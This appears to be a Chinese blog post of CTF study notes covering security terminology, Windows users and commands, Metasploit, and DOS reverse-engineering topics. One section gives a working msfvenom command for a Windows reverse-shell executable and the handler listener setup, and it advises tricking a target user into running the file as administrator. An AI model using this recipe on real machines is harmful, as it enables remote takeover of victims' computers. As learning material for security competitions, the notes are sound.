CTF备赛学习

一、 网络安全基础概念

1. 网络安全定义

网络上的信息安全(人身安全、财产安全、数据安全等)不被恶意破坏。

  • 保护网络系统的硬件、软件及其系统中的数据,不因偶然的或者恶意的原因而遭受到破坏、更改、泄露,确保系统连续可靠正常地运行,网络服务不中断。
  • 核心目标:保密性(Confidentiality)、完整性(Integrity)、可用性(Availability),也就是常说的 CIA 三元组。

2. 核心专业名词详解

名词 笔记原义 深度补充
肉鸡 被控制的电脑(被控制人的电脑攻击) 指被黑客植入木马或病毒后,可被远程操控的计算机。黑客可以用它发起 DDoS 攻击、窃取数据或作为跳板攻击其他目标。
病毒(病毒木马) 伪装成正常程序,运行后获取系统权限 病毒是自我复制的恶意代码,会感染其他文件;木马(Trojan)则伪装成正常程序,目的是偷偷植入后门,让黑客长期控制你的电脑,它本身不具备自我复制能力。
挂马 在别人网站放入有攻击代码的网页 指黑客入侵合法网站,在页面中嵌入恶意脚本(如 JavaScript),当用户访问时会自动下载木马或病毒,常见于有 XSS 漏洞的网站。
后门 在控制目标后植入特定程序进行持续控制 是黑客为了再次进入系统而留下的 "秘密入口",可以是隐藏的账号、特殊的服务端口,或者一段隐藏的代码。
弱口令 简单的密码,易被破解 指过于简单的密码(如123456admin),黑客可通过暴力破解工具(如 Hydra)在短时间内攻破。
Shell 拿到权限 指黑客获得目标系统的命令行执行权限,比如 Windows 的 cmd、Linux 的 bash,能直接执行系统命令。
Webshell 一种命令执行环境(网页文件形式存在) 是一个网页脚本文件(如.php.asp),上传到目标网站后,黑客可通过浏览器访问它,从而在服务器上执行命令,相当于 "网页版的 Shell"。
注入 数据库注入 最常见的是 SQL 注入,黑客在网页输入框中插入恶意 SQL 语句,欺骗服务器执行,从而窃取或篡改数据库中的数据。
内网 局域网 指企业或家庭内部的私有网络,通常不直接连入互联网,黑客常通过 "跳板"(如攻陷一台外网服务器)进入内网进行横向渗透。
免杀 躲过杀毒软件查杀的技术 通过修改恶意代码的特征(如加壳、混淆、加密),让杀毒软件无法识别。常见手段有:花指令、加密壳、内存加载等。
DDoS 拒绝服务攻击 分布式拒绝服务攻击,黑客控制大量 "肉鸡" 同时向目标服务器发送请求,耗尽其带宽或资源,导致正常用户无法访问。
漏扫 自动化扫描漏洞工具:nessus, xray, AWVS 指用工具自动检测目标系统或网站的安全漏洞。- Nessus :老牌漏洞扫描器,支持系统和网络漏洞。- Xray :专注 Web 漏洞扫描。- AWVS:Web 应用安全扫描工具。
0day 没有被公开的通用型漏洞 指厂商还未发布补丁的漏洞,黑客利用它可以发起 "零日攻击",危害性极大,常被高价交易。
黑产 依靠漏洞网站窃取黑客 指利用网络漏洞进行非法获利的产业链,如钓鱼、盗号、贩卖数据、DDoS 攻击敲诈等。

二、 计算机系统与 Windows 基础

1. 计算机系统组成

  • 硬件系统:主机(CPU、内存、主板) + 外设(输入设备:键盘 / 鼠标;输出设备:显示器 / 打印机;存储设备:硬盘 / U 盘)
  • 软件系统
    • 系统软件:操作系统(Windows/Linux)、驱动程序、数据库系统。
    • 应用软件:办公软件(Office)、浏览器、游戏等。

2. 操作系统(OS)

  • 核心作用:是硬件和应用软件之间的 "中间层",负责管理硬件资源(CPU、内存、磁盘),并为软件提供运行环境和 API 接口。
  • 分类
    • 桌面操作系统:Windows、macOS、Linux 桌面版。
    • 服务器操作系统:Windows Server、Linux(CentOS、Ubuntu Server)。
    • 嵌入式操作系统:Android、iOS、VxWorks。
    • 无界面系统:通常是 Linux 服务器,通过命令行(SSH)操作,资源占用更少,安全性更高。
  • 兼容性:指操作系统对硬件和软件的支持能力,比如 Windows 对游戏和办公软件的兼容性较好,而 Linux 在服务器领域更占优势。

3. 虚拟机(VM)

  • 定义:通过软件模拟出一台完整的计算机,拥有独立的 CPU、内存、硬盘,能运行独立的操作系统,和宿主机完全隔离。
  • 用途:安全测试(在虚拟机里运行恶意代码,不影响宿主机)、学习不同系统、多环境开发。
  • 常用工具:VMware Workstation、VirtualBox。

三、 Windows 用户与权限管理

1. 用户与用户组

  • 用户组 :是多个用户的集合,方便统一管理权限。比如把所有实习生加入 "Intern" 组,统一设置只能读取文件,不能修改。
  • 默认用户
    • System:系统内核级账户,拥有最高权限,用于运行系统服务。
    • Administrator:管理员账户,拥有对系统的完全控制权限。
    • Guest:来宾账户,权限极低,通常用于临时访问。
  • 常用用户组
    • Administrators:管理员组,组内用户拥有系统最高权限。
    • Users:普通用户组,组内用户只能运行已安装的程序,不能修改系统设置。
    • Guests:来宾组,权限最低,几乎无法修改任何内容。

2. 命令行操作

  • 命令提示符(CMD):Windows 自带的命令行工具,通过输入 DOS 命令管理系统。
  • 常用命令:
    • tasklist:查看正在运行的进程。
    • ipconfig:查看网络配置。
    • net localgroup:查看所有用户组。
    • net user:查看所有用户。
  • PowerShell :CMD 的升级版,功能更强大,支持脚本编程和更丰富的命令,比如Get-Location(查看当前路径)、Get-ChildItem(列出文件)。

四、 渗透测试工具:Metasploit(MSF)

1. MSF 简介

Metasploit 是目前最流行的渗透测试框架,集成了大量漏洞利用模块、Payload(攻击载荷)和辅助工具,能快速生成木马、漏洞利用和获取 Shell。

2. 生成反向 Shell 木马完整步骤

  1. 生成木马文件

    复制代码
    msfvenom -p windows/x64/shell/reverse_tcp LHOST=[你的攻击机IP] LPORT=[监听端口] -f exe -o shell.exe
    • -p:指定 Payload(这里是 Windows 64 位反向 Shell)。
    • LHOST:攻击机的 IP,目标机会主动连接这个 IP。
    • LPORT:攻击机上监听的端口。
    • -f exe:生成 EXE 格式文件。
    • -o:输出文件名。
  2. 在 MSF 中监听

    复制代码
    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/x64/shell/reverse_tcp
    set LHOST 0.0.0.0  # 监听所有网卡
    set LPORT [刚才设置的端口]
    run
  3. 触发木马 把生成的shell.exe放到目标机器上,诱骗用户以管理员身份运行,一旦运行成功,你的 MSF 就会收到反向连接,获得目标机器的 CMD Shell。


五、 DOS 系统

  • 是早期的命令行操作系统,Windows 95/98 都是基于 DOS 开发的。
  • 虽然现在 Windows 已经图形化,但很多底层命令(如dircdcopy)仍然保留了 DOS 的风格。
  • DOS 核心基础
    • 定义:Disk Operating System(磁盘操作系统),是早期单用户、单任务的命令行操作系统,Windows 95/98 等系统基于 DOS 内核构建,其底层机制(如文件系统、内存管理)对理解 Windows 早期程序至关重要。
    • 文件格式
      • COM 文件 :DOS 下的极简二进制可执行文件,无文件头,加载后直接从 0x100 地址开始执行,代码 + 数据 + 栈共用一个段,逆向难度低,CTF 常出现简单 COM 程序的 flag 验证题。
      • EXE 文件 :DOS 下的可执行文件(与 Windows PE 文件不同),包含重定位信息和段表,通过 INT 21H 等中断调用实现功能。
    • 内存模型 :采用实模式,寻址空间最大 1MB,内存分段管理(段地址 + 偏移地址,物理地址 = 段地址 ×16 + 偏移地址),无内存保护机制,极易触发溢出漏洞。
    • 核心中断调用 :DOS 程序通过软中断实现系统功能,如 INT 21H(文件操作、输入输出)、INT 10H(显示输出),逆向时需识别中断功能号分析程序逻辑。
  • CTF 核心考点
    • COM 程序逆向
      • 直接用 debug.exe 或 IDA Pro(选择 DOS 加载模式)分析二进制代码,定位输入验证逻辑(如异或、比较指令),提取 flag。
      • 考点示例:程序读取用户输入后,与内置密文进行异或运算,通过比较结果是否匹配输出 flag。
    • DOS 批处理(.bat/.cmd)分析
      • 杂项题中常出现恶意批处理脚本,通过命令拼接、变量替换实现隐藏逻辑,需分析脚本执行流程,提取隐藏的 flag(如通过 echo 输出到隐藏文件、注册表键值)。
      • 漏洞利用:批处理脚本存在命令注入 漏洞,若未过滤用户输入,可拼接 dirtype 等命令读取 flag 文件。
    • DOS 头解析
      • Windows PE 文件的开头包含 DOS 头(IMAGE_DOS_HEADER) ,其中 e_magic 字段为 MZ 标识,e_lfanew 字段指向 PE 头偏移。CTF 逆向题常篡改 DOS 头(如修改 e_lfanew),需修复后才能正常分析 PE 文件。
    • 复古漏洞利用
      • DOS 程序无内存保护,栈溢出漏洞极易利用,构造 payload 覆盖返回地址(实模式下直接指向 shellcode 地址),执行任意代码读取 flag。
  • 必备工具
    • 调试工具debug.exe(DOS 自带调试器,用于反汇编 COM/EXE 文件)、IDA Pro(选择 DOS 加载模式分析二进制)。
    • 文件分析工具HxD(十六进制编辑器,查看 COM 文件原始二进制)、PEview(查看 PE 文件中的 DOS 头结构)。
    • 模拟器DOSBox(在现代系统中运行 DOS 程序,测试漏洞利用效果)。
相关推荐
西岸行者12 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
悠哉悠哉愿意12 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码12 天前
嵌入式学习路线
学习
毛小茛12 天前
计算机系统概论——校验码
学习
babe小鑫12 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
winfreedoms12 天前
ROS2知识大白话
笔记·学习·ros2
在这habit之下12 天前
Linux Virtual Server(LVS)学习总结
linux·学习·lvs
我想我不够好。12 天前
2026.2.25监控学习
学习
im_AMBER12 天前
Leetcode 127 删除有序数组中的重复项 | 删除有序数组中的重复项 II
数据结构·学习·算法·leetcode
CodeJourney_J12 天前
从“Hello World“ 开始 C++
c语言·c++·学习